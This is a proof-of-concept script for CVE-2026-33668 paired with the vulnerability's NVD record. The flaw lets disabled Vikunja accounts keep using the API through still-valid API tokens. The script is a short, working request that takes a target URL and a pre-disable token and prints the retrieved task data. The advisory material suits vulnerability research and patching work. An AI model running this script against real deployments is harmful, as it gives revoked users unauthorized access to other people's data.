CVE-2026-33668

# Proof of Concept for CVE-2026-33668 # This script demonstrates that a disabled user can still access the API using a valid API Token. import requests # Configuration # Replace with the target URL TARGET_URL = "http://localhost:3456/api/v1/tasks" # Replace with an API Token obtained before the account was disabled API_TOKEN = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." def exploit(): headers = { "Authorization": f"Bearer {API_TOKEN}", "Content-Type": "application/json" } print(f"[*] Attempting to access Vikunja API using token for a disabled account...") try: response = requests.get(TARGET_URL, headers=headers) if response.status_code == 200: print("[+] Vulnerability Confirmed! The server responded with 200 OK.") print(f"[+] Data retrieved: {response.json()}") else: print(f"[-] Request failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2026-33668", "sourceIdentifier": "[email protected]", "published": "2026-03-24T16:16:34.623", "lastModified": "2026-03-27T16:44:58.507", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vikunja is an open-source self-hosted task management platform. Starting in version 0.18.0 and prior to version 2.2.1, when a user account is disabled or locked, the status check is only enforced on the local login and JWT token refresh paths. Three other authentication paths — API tokens, CalDAV basic auth, and OpenID Connect — do not verify user status, allowing disabled or locked users to continue accessing the API and syncing data. Version 2.2.1 patches the issue."}, {"lang": "es", "value": "Vikunja es una plataforma de gestión de tareas de código abierto autoalojada. A partir de la versión 0.18.0 y antes de la versión 2.2.1, cuando una cuenta de usuario está deshabilitada o bloqueada, la verificación de estado solo se aplica en el inicio de sesión local y en las rutas de actualización de tokens JWT. Otras tres rutas de autenticación — tokens de API, autenticación básica de CalDAV y OpenID Connect — no verifican el estado del usuario, permitiendo que los usuarios deshabilitados o bloqueados continúen accediendo a la API y sincronizando datos. La versión 2.2.1 corrige el problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-285"}, {"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vikunja:vikunja:*:*:*:*:*:*:*:*", "versionStartIncluding": "0.18.0", "versionEndExcluding": "2.2.1", "matchCriteriaId": "10005EFC-4194-4C8F-B3B3-F890211F6B7A"}]}]}], "references": [{"url": "https://github.com/go-vikunja/vikunja/commit/033922309f492996c928122fb49b691339199c35", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/go-vikunja/vikunja/commit/04704e0fde4b027039cf583110cee7afe136fc1b", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/go-vikunja/vikunja/commit/0b04768d830c80e9fde1b0962db1499cc652da0e", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/go-vikunja/vikunja/commit/fd452b9cb6457fd4f9936527a14c359818f1cca7", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-94xm-jj8x-3cr4", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://vikunja.io/changelog/vikunja-v2.2.2-was-released", "source": "[email protected]", "tags": ["Release Notes"]}]}}